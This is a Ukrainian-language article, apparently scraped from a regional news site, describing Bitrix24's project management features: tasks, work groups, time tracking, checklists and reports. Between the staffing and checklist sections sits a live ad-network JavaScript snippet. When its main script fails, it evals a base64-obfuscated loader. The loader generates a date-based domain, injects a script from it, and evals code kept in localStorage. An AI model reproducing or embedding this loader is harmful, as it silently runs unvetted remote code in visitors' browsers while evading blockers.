Переваги
Сервіс Бітрікс24 поєднує в собі широкий спектр організаційних інструментів, які підвищують ефективність роботи як на рівні одного користувача, так і робочої групи також в сфері управління проектами та завданнями компанії. Ви можете призначити завдання собі та колегам, а отримавши завдання, також маєте змогу їх делегувати. Функціональні можливості, пов’язані з управлінням проектами розміщено в модулях групової роботи. Кожен проект у Бітрікс24 може мати призначену робочу групу, і всі файли, обговорення та завдання, пов’язані з цим проектом, будуть доступні лише для певних користувачів. Можна повідомити про час, витрачений на виконання завдань у проекті, а самі завдання інтегрувати в календар робочої групи.
Бітрікс24 забезпечує:
ділове спілкування між співробітниками;облік та контроль робочого часу;корпоративний чат;загальний диск;зручний календар;регулярну звітність перед керівником;автоматизацію бізнес-процесів. Управління персоналом
Планування робочого навантаження для працівників, які беруть участь у проекті, дозволить вчасно втілити в життя більше завдань і визначити, хто з них ризикує затриматись із виконанням. Керівники проектів можуть розподілити час співробітників на реалізацію кожного завдання, а потім відстежувати, чи відповідає витрачений час плану. Також доступні щомісячні зведені звіти для кожного відділу та працівника. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Контрольний список
Додайте контрольний список до завдання та відстежуйте його виконання пункт за пунктом. Цей перевірений і простий метод контролю особливо добре працює в ситуації, коли завдання є багатоетапним або в його реалізації бере участь багато людей. Учасники проекту можуть додавати свої пункти до контрольного списку та зазначати, що вони були виконані.
Звітування
Створення звітів — це простий спосіб дізнатись, скільки часу працівник витратив на конкретний проект чи завдання. За допомогою цього інструменту ви також можете перевірити, скільки завдань виконується і скільки виконано. За замовчуванням можна створювати звіти із щотижневими, щомісячними або річними даними, а також — встановити будь-який діапазон дат. Доступний шаблон звіту про результативність дозволяє оцінити, наскільки ефективно працювали учасники проекту. Для керівництва важливо вміти аналізувати результати діяльності окремих підрозділів і навіть усієї організації. Кожен звіт можна експортувати у файл Excel. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/upravlinnya-proektami-ta-zavdannyami-v-bitriks24/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
